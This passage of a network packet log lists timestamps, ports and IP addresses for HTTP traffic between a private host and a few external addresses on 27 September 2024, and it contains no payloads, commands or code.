Sep 27, 2024 16:18:20.959254980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959270954 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959270954 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959296942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959331989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959582090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959590912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959630013 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959680080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959690094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959700108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959709883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959722042 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959727049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959737062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959758043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959788084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.959959030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959969997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959985018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.959995031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960005999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960016012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960030079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960035086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960035086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960047007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960067987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960093021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960261106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960272074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960314989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960333109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960344076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960354090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960364103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960380077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960431099 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960622072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960630894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960652113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960661888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960673094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960678101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960688114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960697889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960711002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960716963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960716963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960732937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960776091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960776091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.960953951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960964918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960974932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960984945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.960995913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961008072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961011887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.961029053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961039066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961049080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.961049080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.961057901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961067915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961078882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961088896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961100101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.961107969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961113930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.961122990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.961133957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.961185932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.961625099 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:21.013250113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013273954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013286114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013345957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013458967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013468981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013468981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013490915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013501883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013509989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013520956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013531923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013546944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013546944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013593912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013602018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013612032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013638973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013655901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013663054 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013673067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013684034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013695002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013714075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013729095 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013935089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013947964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013959885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013972044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.013983011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.013992071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014004946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014023066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.014051914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.014108896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014120102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014157057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.014683008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014718056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014731884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014736891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.014780998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.014780998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.014863968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014874935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014887094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014898062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.014934063 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.014934063 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028175116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028193951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028203964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028255939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028337002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028347015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028353930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028363943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028373957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028403044 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028403044 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028434038 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028527975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028543949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028553963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028563976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028578043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028604031 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028736115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028747082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028757095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.028795958 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.028826952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046014071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046097994 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046194077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046204090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046216011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046226025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046237946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046329021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046351910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046360016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046360016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046360016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046374083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046385050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046396017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046407938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046540976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046549082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046549082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046549082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046550035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046581030 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046602964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046612978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046660900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046662092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046725988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046736002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046746016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046771049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046780109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046786070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046796083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046843052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046843052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.046987057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.046998024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047008991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047019005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047030926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047040939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047050953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047064066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047064066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047094107 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047275066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047291994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047303915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047343016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047343016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047418118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047429085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047458887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047468901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047477961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047487020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047496080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047507048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047518015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047518015 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047525883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047537088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047547102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047558069 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047565937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047601938 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047601938 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.047925949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047935963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.047981024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048042059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048058033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048068047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048079967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048090935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048100948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048109055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048119068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048145056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048176050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048363924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048373938 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048388958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048398972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048408985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048415899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048428059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048434973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048444033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048455954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048465967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048477888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048495054 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048495054 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048522949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048764944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048775911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048789978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048801899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048841000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048841000 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048907042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048918009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.048962116 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.048990965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.049010038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.049021006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.049031019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.049041033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.049051046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.049058914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.049058914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.049134016 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.071799994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.071811914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.071822882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.071983099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.071985960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.072029114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.072160006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.072264910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.072268009 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.072309017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.072477102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.072525024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.072525978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.072551966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.072566032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.072590113 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.072598934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.072637081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.073321104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.073368073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.073381901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.073394060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.073422909 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.073446989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.073453903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.073491096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.074203968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.074238062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.074248075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.074253082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.074275017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.074294090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.074326992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.074373007 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.075079918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.075130939 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.075151920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.075162888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.075206041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.075210094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.075254917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.076195002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.076246023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.101291895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101308107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101334095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101344109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101355076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101365089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101376057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101387024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101397038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101408005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101430893 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.101449013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101458073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.101465940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101476908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101488113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101495028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.101504087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101519108 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.101582050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.101665974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101675987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101686954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101697922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101718903 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.101807117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101818085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101830959 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.101835966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101845980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.101861000 CEST	49615	80	192.168.2.6	185.215.113.117
